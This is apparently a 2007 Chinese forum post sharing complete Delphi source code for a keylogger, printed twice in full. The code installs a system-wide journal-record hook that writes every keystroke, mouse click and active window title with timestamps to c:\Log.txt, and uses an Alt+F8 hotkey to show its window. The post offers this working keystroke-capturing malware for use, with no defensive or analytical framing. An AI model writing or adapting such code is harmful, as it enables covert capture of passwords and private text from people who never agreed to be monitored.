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[分享]Delphi键盘钩子源码
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发表于: 2007-5-11 03:10 9239
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//******************************************************************************
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
procedure HotKeyDown(var Msg: Tmessage); message WM_HOTKEY;
public
{ Public declarations }
end;
const
KeyMask = $80000000;
var
Form1: TForm1;
LogHook: HHook = 0;
LastFocusWnd: HWnd = 0;
PrvChar: Char;
HotKeyId: Integer;
implementation
{$R *.dfm}
function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
TempStr, Time: string;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
if iCode < 0 then
begin
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
exit;
end;
if (iCode = HC_ACTION) then
begin
pEvt := Pointer(DWord(lParam));
if not FileExists('c:\Log.txt') then
begin
AssignFile(LogFile, 'c:\Log.txt');
Rewrite(LogFile);
CloseFile(LogFile);
end;
AssignFile(LogFile, 'c:\Log.txt');
Append(LogFile);
FocusWnd := GetActiveWindow;
if LastFocusWnd <> FocusWnd then
begin
writeln(LogFile);
writeln(LogFile, '*********End**********');
writeln(LogFile);
writeln(LogFile, '********begin*********');
GetWindowText(FocusWnd, Title, 256);
LastFocusWnd := FocusWnd;
Time := DateTimeToStr(Now);
Writeln(LogFile, Time + Format(' 《%s》', [Title]));
end;
if pEvt.message = WM_KEYDOWN then
begin
vKey := LOBYTE(pEvt.paramL);
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := ((iShift and KeyMask) = KeyMask);
bCapital := ((iCapital and 1) = 1);
bNumLock := ((iNumLock and 1) = 1);
if ((vKey >= 48) and (vKey <= 57)) then
if not bShift then
Write(LogFile, Char(vKey));
if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
begin
if not bCapital then
begin
if bShift then
ch := Char(vKey)
else
ch := Char(vKey + 32);
end
else begin
if bShift then
ch := Char(vKey + 32)
else
ch := Char(vKey);
end;
Write(LogFile, ch);
end;
if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
if bNumLock then
write(LogFile, Char(vKey - 96 + 48));
ch := 'n';
if (VKey > 105) and (VKey <= 111) then
begin
case vKey of
106: ch := '*';
107: ch := '+';
109: ch := '-';
111: ch := '/';
else
ch := 'n';
end;
end;
if (vKey >= 186) and (vKey <= 222) then // 其他键
begin
case vKey of
186: if not bShift then ch := ';' else ch := ':';
187: if not bShift then ch := '=' else ch := '+';
188: if not bShift then ch := ',' else ch := '<';
189: if not bShift then ch := '-' else ch := '_';
190: if not bShift then ch := '.' else ch := '>';
191: if not bShift then ch := '/' else ch := '?';
192: if not bShift then ch := '`' else ch := '~';
219: if not bShift then ch := '[' else ch := '{';
220: if not bShift then ch := '\' else ch := '|';
221: if not bShift then ch := ']' else ch := '}';
222: if not bShift then ch := Char(27) else ch := '"';
else
ch := 'n';
end;
end;
if ch <> 'n' then
Write(LogFile, ch);
// if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey >= 8) and (vKey <= 46) then //方向键
begin
ch := ' ';
case vKey of
8: str := '[BackSpace]';
9: str := '[TAB]';
13: str := '[Enter]';
32: str := '[Space]';
33: str := '[PageUp]';
34: str := '[PageDown]';
35: str := '[End]';
36: str := '[Home]';
37: str := '[LF]';
38: str := '[UF]';
39: str := '[RF]';
40: str := '[DF]';
45: str := '[Insert]';
46: str := '[Delete]';
else
ch := 'n';
end;
if ch <> 'n' then
begin
if PrvChar <> Char(vKey) then
begin
Write(LogFile, str);
PrvChar := Char(vKey);
end;
end;
end;
end
else
if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
begin
writeln(LogFile);
if pEvt.message = WM_LBUTTONDOWN then
TempStr := 'LButtonDown at: '
else
TempStr := 'RButtonDown at: ';
writeln(LogFile, TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
end;
CloseFile(LogFile);
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
HotKeyId := GlobalAddAtom('MyHotKey') - $C000;
RegisterHotKey(Handle, hotkeyid, MOD_ALT, VK_F8);
//
if LogHook = 0 then
LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if LogHook <> 0 then
begin
UnhookWindowsHookEx(LogHook);
LogHook := 0;
end;
end;
procedure TForm1.HotKeyDown(var Msg: Tmessage);
begin
if (Msg.LparamLo = MOD_ALT) AND (Msg.LParamHi = VK_F8) then
begin
showmessage('ALT' + 'F8');
form1.Visible := true;
end;
end;
end.
//******************************************************************************
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
procedure HotKeyDown(var Msg: Tmessage); message WM_HOTKEY;
public
{ Public declarations }
end;
const
KeyMask = $80000000;
var
Form1: TForm1;
LogHook: HHook = 0;
LastFocusWnd: HWnd = 0;
PrvChar: Char;
HotKeyId: Integer;
implementation
{$R *.dfm}
function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
TempStr, Time: string;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
if iCode < 0 then
begin
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
exit;
end;
if (iCode = HC_ACTION) then
begin
pEvt := Pointer(DWord(lParam));
if not FileExists('c:\Log.txt') then
begin
AssignFile(LogFile, 'c:\Log.txt');
Rewrite(LogFile);
CloseFile(LogFile);
end;
AssignFile(LogFile, 'c:\Log.txt');
Append(LogFile);
FocusWnd := GetActiveWindow;
if LastFocusWnd <> FocusWnd then
begin
writeln(LogFile);
writeln(LogFile, '*********End**********');
writeln(LogFile);
writeln(LogFile, '********begin*********');
GetWindowText(FocusWnd, Title, 256);
LastFocusWnd := FocusWnd;
Time := DateTimeToStr(Now);
Writeln(LogFile, Time + Format(' 《%s》', [Title]));
end;
if pEvt.message = WM_KEYDOWN then
begin
vKey := LOBYTE(pEvt.paramL);
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := ((iShift and KeyMask) = KeyMask);
bCapital := ((iCapital and 1) = 1);
bNumLock := ((iNumLock and 1) = 1);
if ((vKey >= 48) and (vKey <= 57)) then
if not bShift then
Write(LogFile, Char(vKey));
if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
begin
if not bCapital then
begin
if bShift then
ch := Char(vKey)
else
ch := Char(vKey + 32);
end
else begin
if bShift then
ch := Char(vKey + 32)
else
ch := Char(vKey);
end;
Write(LogFile, ch);
end;
if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
if bNumLock then
write(LogFile, Char(vKey - 96 + 48));
ch := 'n';
if (VKey > 105) and (VKey <= 111) then
begin
case vKey of
106: ch := '*';
107: ch := '+';
109: ch := '-';
111: ch := '/';
else
ch := 'n';
end;
end;
if (vKey >= 186) and (vKey <= 222) then // 其他键
begin
case vKey of
186: if not bShift then ch := ';' else ch := ':';
187: if not bShift then ch := '=' else ch := '+';
188: if not bShift then ch := ',' else ch := '<';
189: if not bShift then ch := '-' else ch := '_';
190: if not bShift then ch := '.' else ch := '>';
191: if not bShift then ch := '/' else ch := '?';
192: if not bShift then ch := '`' else ch := '~';
219: if not bShift then ch := '[' else ch := '{';
220: if not bShift then ch := '\' else ch := '|';
221: if not bShift then ch := ']' else ch := '}';
222: if not bShift then ch := Char(27) else ch := '"';
else
ch := 'n';
end;
end;
if ch <> 'n' then
Write(LogFile, ch);
// if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey >= 8) and (vKey <= 46) then //方向键
begin
ch := ' ';
case vKey of
8: str := '[BackSpace]';
9: str := '[TAB]';
13: str := '[Enter]';
32: str := '[Space]';
33: str := '[PageUp]';
34: str := '[PageDown]';
35: str := '[End]';
36: str := '[Home]';
37: str := '[LF]';
38: str := '[UF]';
39: str := '[RF]';
40: str := '[DF]';
45: str := '[Insert]';
46: str := '[Delete]';
else
ch := 'n';
end;
if ch <> 'n' then
begin
if PrvChar <> Char(vKey) then
begin
Write(LogFile, str);
PrvChar := Char(vKey);
end;
end;
end;
end
else
if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
begin
writeln(LogFile);
if pEvt.message = WM_LBUTTONDOWN then
TempStr := 'LButtonDown at: '
else
TempStr := 'RButtonDown at: ';
writeln(LogFile, TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
end;
CloseFile(LogFile);
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
HotKeyId := GlobalAddAtom('MyHotKey') - $C000;
RegisterHotKey(Handle, hotkeyid, MOD_ALT, VK_F8);
//
if LogHook = 0 then
LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if LogHook <> 0 then
begin
UnhookWindowsHookEx(LogHook);
LogHook := 0;
end;
end;
procedure TForm1.HotKeyDown(var Msg: Tmessage);
begin
if (Msg.LparamLo = MOD_ALT) AND (Msg.LParamHi = VK_F8) then
begin
showmessage('ALT' + 'F8');
form1.Visible := true;
end;
end;
end.
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